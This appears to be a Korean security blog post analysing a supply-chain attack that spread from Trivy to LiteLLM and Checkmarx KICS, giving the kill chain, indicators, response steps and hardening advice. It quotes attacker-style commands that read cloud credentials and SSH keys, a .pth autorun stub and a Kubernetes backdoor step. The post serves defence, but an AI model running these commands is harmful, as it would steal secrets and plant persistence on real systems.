728x90

사건 개요 (Executive Summary)
이번 사건은 단순 취약점이 아니라 CI/CD 및 개발 생태계를 노린 “공급망 연쇄 공격”입니다.
- 시작점: Trivy (취약점 스캐너) 배포 경로 침해
- 확산
- LiteLLM (Python 패키지)
- Checkmarx KICS (IaC 스캐너, GitHub Action, VSCode 플러그인)
- 공격 방식
- 악성 코드가 정상 패키지/이미지/Action으로 위장
- 설치 즉시 자격증명 탈취 + 지속성 확보
- 결과
- CI/CD 환경 전체 탈취 가능
- 수십만 시스템의 API Key / 클라우드 계정 / SSH 키 노출 가능성
“보안 도구를 신뢰하는 구조 자체를 공격”
공격 흐름 (Kill Chain)
[1] Trivy 공급망 침해
↓
[2] GitHub Action / Docker 이미지 / 바이너리 변조
↓
[3] CI 환경 자격증명 탈취
↓
[4] 탈취한 권한으로 PyPI / GitHub / OpenVSX 접근
↓
[5] LiteLLM / KICS 악성 배포
↓
[6] 개발자 PC / CI Runner / 서버 감염
↓
[7] 지속성 + 추가 확산
1단계: Trivy 침해 (Initial Compromise)
- 공격자는 Trivy 배포 계정 또는 토큰 탈취
- 악성 버전 배포
v0.69.4,v0.69.5,v0.69.6
2단계: GitHub Action / Docker 악성화
- uses: aquasecurity/trivy-action@main # 위험!
👉 문제점
- tag 기반 참조 → 자동으로 악성 코드 실행
3단계: CI 환경 탈취
Trivy 실행 시
env | grep -i key
cat ~/.aws/credentials
cat ~/.ssh/id_rsa
👉 수집 대상
- AWS / GCP / Azure 키
- GitHub Token
- Kubernetes ServiceAccount
- DB 계정
4단계: LiteLLM 감염
악성 패키지
litellm==1.82.7
litellm==1.82.8
특징
.pth파일 이용 (Python 자동 실행)
# litellm_init.pth
import malicious_payload
👉 Python 실행 시 자동 감염
5단계: KICS 감염
영향 범위
- GitHub Actions
- VSCode OpenVSX Plugin
300x250
악성 파일
ast-results-2.53.0.vsix
cx-dev-assist-1.7.0.vsix
6단계: 지속성 확보 (Persistence)
Linux
systemctl enable malicious.service
Kubernetes
kubectl run backdoor --image attacker/image
기술적 핵심 포인트
공급망 공격 핵심 기법
| 기법 | 설명 |
|---|---|
| Tag Hijacking | latest/main 악용 |
| Dependency Poisoning | PyPI 패키지 변조 |
| Action Injection | GitHub Action 변조 |
| Plugin Supply Chain | VSCode 플러그인 감염 |
LiteLLM Persistence 기법
# Python startup hijack
.pth → 자동 실행
👉 특징
- 코드 실행 필요 없음
- import 없이 자동 실행
CI/CD 환경 탈취 특징
👉 CI 환경은 매우 위험
- 모든 secrets 접근 가능
- production 접근 가능
- 자동화 신뢰 환경
영향 범위 분석
직접 영향
- CI Runner
- 개발자 PC
- Kubernetes Cluster
- Docker Build 환경
탈취 가능 정보
- Cloud IAM Keys
- DB Password
- SSH Private Key
- API Token
- Kubernetes Token
조직 영향
👉 실제로는 “전사 침해” 수준
- Dev → Prod 이동 가능
- 계정 탈취 → lateral movement
- 공급망 재확산
기존 보안이 실패한 이유
“보안 도구는 안전하다” 가정
👉 Trivy, KICS는 신뢰 대상
Tag 기반 의존성
@main
@latest
👉 무결성 검증 없음
CI secrets 과다 노출
👉 runner에서 모든 키 접근 가능
즉시 대응 (Incident Response)
① 영향 시스템 식별
grep -R "trivy" .
grep -R "litellm" .
grep -R "kics" .
② 자격증명 전면 교체
👉 반드시 포함
- AWS IAM
- GitHub Token
- Kubernetes Secret
- DB 계정
③ 악성 IOC 탐지
grep -R "models.litellm.cloud" /var/log
grep -R "checkmarx.zone" /var/log
예방 전략
GitHub Actions 보안
❌ 위험
uses: aquasecurity/trivy-action@main
✅ 안전
uses: aquasecurity/trivy-action@<commit_sha>
Python 패키지 고정
pip install litellm==1.82.9 # 안전 버전
Docker 이미지 고정
FROM aquasec/trivy@sha256:<digest>
egress 통제
iptables -A OUTPUT -d suspicious-domain -j DROP
CI secrets 최소화
👉 Principle of Least Privilege
탐지 룰 (EDR / SIEM)
DNS 탐지
models.litellm.cloud
checkmarx.zone
프로세스 탐지
python → unexpected outbound connection
파일 탐지
*.pth 파일 생성 감지
Kubernetes 탐지
kubectl run unknown-container
보안 체크리스트
공급망 보안 점검
- GitHub Actions SHA 고정 여부
- PyPI 패키지 version pinning
- Docker digest 사용 여부
CI/CD 보안
- Runner isolation
- secrets 최소화
- outbound 제한
탐지
- DNS IOC 등록
- abnormal process 탐지
- credential access 탐지
대응
- 전사 credential rotation
- CI 로그 분석
- 개발자 PC 점검
핵심 정리
이번 사건의 본질 “취약점이 아니라 신뢰를 공격한 사건”
가장 중요한 교훈
- 보안 도구도 공격 대상
- CI/CD는 가장 위험한 지점
- Tag 기반 사용은 매우 위험
- 자격증명 관리가 핵심
추가로 중요한 포인트
- Wazuh / Elastic 탐지 룰 구체 예시
- 재현 테스트 환경 구성 (공격 시나리오)
- Zero Trust 기반 CI/CD 보안 아키텍처 설계
728x90
그리드형(광고전용)
댓글